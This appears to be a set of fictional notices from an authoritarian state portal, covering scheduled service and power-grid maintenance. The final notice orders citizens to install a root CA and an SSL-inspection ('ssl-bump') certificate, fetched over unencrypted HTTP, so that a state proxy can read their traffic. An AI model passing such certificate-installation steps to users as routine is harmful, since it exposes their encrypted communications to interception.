Maintenance

The Citizen Services Portal will undergo scheduled maintenance on 15 February from 01:00 to 05:00. During this window, the portal will be unavailable.

Affected services

• All portal services (service pages, forms, applications)
• CDI score checking and chargeability dashboards
• Report submission system
• Training module access

Unaffected services

• CARL-ID authentication (operational independently)
• Emergency reporting hotline (0117 463 8742, ext. 150)
• State emergency services (112)
• Citizen Proxy internet access

Important

If you have pending submissions with deadlines falling during the maintenance window, please complete them before the maintenance begins. Deadline extensions will not be granted for maintenance-related delays.

The maintenance is being conducted to deploy security patches and performance improvements. Thank you for your patience and compliance.

The Ministry of Energy has scheduled planned maintenance on the power distribution network serving Districts 4, 7, and 12. During the maintenance window, affected areas will experience intermittent power supply.

Schedule

• District 4: 10 Feb, 02:00-06:00
• District 7: 11 Feb, 02:00-06:00
• District 12: 12 Feb, 02:00-06:00

What to expect

• Power may be interrupted for up to 4 hours during the maintenance window
• Backup generators at critical facilities will activate automatically
• Street lighting and traffic systems will remain operational

Preparation

• Charge all electronic devices before the maintenance window
• Ensure essential medical equipment has battery backup
• Do not use lifts/elevators during the maintenance window

This maintenance is essential for the continued reliability of the GridControl energy network. Chargeability for citizens in affected districts will be adjusted for the maintenance period if work is impacted.

The NDRC Root CA certificate used by the Citizen Proxy has been renewed. All citizens must update their device certificates before the expiry date to maintain internet access.

What you need to do

1. Visit http://proxy.citizen.gov.ndrc.uk/ndrc-root-ca.crt from each registered device
2. Download and install the updated root certificate
3. Download and install the updated SSL inspection certificate from http://proxy.citizen.gov.ndrc.uk/ndrc-ssl-bump-ca.crt
4. Restart your web browser
5. Verify access by visiting the Digital Compliance Check page

After the expiry date, devices with outdated certificates will be unable to access any NDRC services through the Citizen Proxy. This is a security requirement and cannot be waived.

If you need assistance, visit your nearest Ministry of Technology service point.